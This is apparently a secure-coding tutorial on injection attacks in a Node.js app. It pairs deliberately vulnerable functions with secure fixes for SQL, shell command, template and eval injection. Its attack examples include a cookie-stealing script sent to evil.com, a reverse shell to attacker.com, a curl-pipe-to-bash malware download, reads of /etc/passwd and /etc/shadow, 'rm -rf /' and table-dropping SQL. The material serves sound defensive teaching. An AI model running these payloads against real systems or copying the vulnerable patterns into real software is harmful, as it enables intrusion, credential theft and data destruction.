Skip to content

Injection Attacks

Injection attacks occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data tricks the interpreter into executing unintended commands.

Types of injection:

  • SQL Injection - Malicious SQL queries
  • Command Injection - Malicious shell commands
  • LDAP Injection - Malicious LDAP queries
  • Template Injection - Malicious template expressions
  • NoSQL Injection - Malicious NoSQL queries
src/security/security.js
src/security/security.js
// ANTIPATTERN: String concatenation in SQL!
export function getUserData(userId) {
const query = `SELECT * FROM users WHERE id = ${userId}`
return { query, userId }
}

Attack:

Terminal window
# Input: 1 OR 1=1 --
# Resulting query: SELECT * FROM users WHERE id = 1 OR 1=1 --
# Returns ALL users!
curl "/api/users/1%20OR%201%3D1%20--"
src/security/security.js
src/security/security.js
import { execSync } from 'child_process'
// ANTIPATTERN: User input in shell command!
export function runCommand(userInput) {
return execSync(userInput).toString()
}

Attack:

Terminal window
# Input: ls; cat /etc/passwd; rm -rf /
# Runs multiple commands!
curl "/api/exec?cmd=ls;cat%20/etc/passwd"
src/security/security.js
// ANTIPATTERN: Direct template interpolation
export function renderTemplate(template, data) {
// Replaces {{key}} with data[key]
return template.replace(/\{\{(\w+)\}\}/g, (match, key) => {
return data[key] // No escaping!
})
}

Attack:

Terminal window
# Input name: <script>alert('XSS')</script>
# Template: Hello {{name}}!
# Output: Hello <script>alert('XSS')</script>!
curl "/api/template?name=<script>document.location='http://evil.com/steal?c='+document.cookie</script>"
src/features/index.js
src/features/index.js
// ANTIPATTERN: Eval with user input!
app.post('/eval', async (c) => {
const body = await c.req.json()
const result = eval(body.code) // NEVER DO THIS!
return c.json({ result })
})

Attack:

Terminal window
# Execute arbitrary code
curl -X POST /eval \
-d '{"code": "require(\"child_process\").execSync(\"cat /etc/passwd\").toString()"}'

-- Data theft
' UNION SELECT username, password FROM users --
-- Data modification
'; UPDATE users SET role='admin' WHERE username='attacker' --
-- Data deletion
'; DROP TABLE users; --
-- Server compromise
'; EXEC xp_cmdshell('net user hacker password123 /add'); --
Terminal window
# Read sensitive files
; cat /etc/shadow
# Establish reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
# Install malware
; curl http://evil.com/malware.sh | bash

src/repositories/user.repository.js
// Using Drizzle ORM (parameterized by default)
import { eq } from 'drizzle-orm'
import { users } from '../schema.js'
export async function getUser(id) {
// Drizzle handles parameterization
return db.select().from(users).where(eq(users.id, id))
}
// Using raw SQL with parameters
export async function getUserRaw(id) {
// Parameters are safely escaped
return db.execute(
'SELECT * FROM users WHERE id = ?',
[id] // Parameter array
)
}
Alternative: Prepared Statements
import Database from 'better-sqlite3'
const db = new Database('app.db')
// Prepare once, execute many times
const getUser = db.prepare('SELECT * FROM users WHERE id = ?')
export function findUser(id) {
return getUser.get(id) // Safe!
}
src/services/file.service.js
// WRONG: Using shell
import { execSync } from 'child_process'
const files = execSync(`ls ${userInput}`).toString() // Dangerous!
// RIGHT: Use Node.js APIs
import { readdir } from 'fs/promises'
const files = await readdir(sanitizedPath)
When shell is necessary
import { execFile } from 'child_process'
// execFile doesn't use shell, arguments are passed directly
export function runSafeCommand(filename) {
return new Promise((resolve, reject) => {
// Arguments are NOT interpreted by shell
execFile('ls', ['-la', filename], (error, stdout) => {
if (error) reject(error)
else resolve(stdout)
})
})
}
src/utils/html.js
// Escape HTML entities
export function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#039;')
}
// Safe template rendering
export function renderTemplate(template, data) {
return template.replace(/\{\{(\w+)\}\}/g, (match, key) => {
return escapeHtml(String(data[key] || ''))
})
}
Using a template engine with auto-escaping
import { Hono } from 'hono'
import { html } from 'hono/html'
app.get('/profile', (c) => {
const name = c.req.query('name')
// html`` auto-escapes variables
return c.html(html`
<h1>Hello, ${name}!</h1>
`)
})
src/middleware/validation.js
import { z } from 'zod'
// Define expected schema
const userIdSchema = z.coerce.number().int().positive()
export function validateUserId(c, next) {
const result = userIdSchema.safeParse(c.req.param('id'))
if (!result.success) {
return c.json({ error: 'Invalid user ID' }, 400)
}
c.set('userId', result.data)
return next()
}

AttackVulnerable CodeSecure Code
SQLWHERE id = ${id}WHERE id = ? with params
CommandexecSync(userInput)execFile(cmd, [args])
XSSinnerHTML = datatextContent = data
Evaleval(userCode)Never use eval

  • String concatenation with SQL
  • exec(), execSync(), spawn() with user input
  • eval(), Function(), vm.runInContext() with user input
  • innerHTML, document.write() with user input
  • Template strings with ${} containing user input in SQL
Terminal window
# Static analysis for injection vulnerabilities
npx eslint --plugin security src/
# SQL injection scanner
sqlmap -u "http://localhost:3000/api/users?id=1"
// Injection test payloads
const sqlPayloads = [
"1 OR 1=1",
"1; DROP TABLE users--",
"1 UNION SELECT * FROM passwords--",
]
const xssPayloads = [
"<script>alert(1)</script>",
"javascript:alert(1)",
"<img onerror=alert(1) src=x>",
]
const cmdPayloads = [
"; cat /etc/passwd",
"| ls -la",
"$(whoami)",
]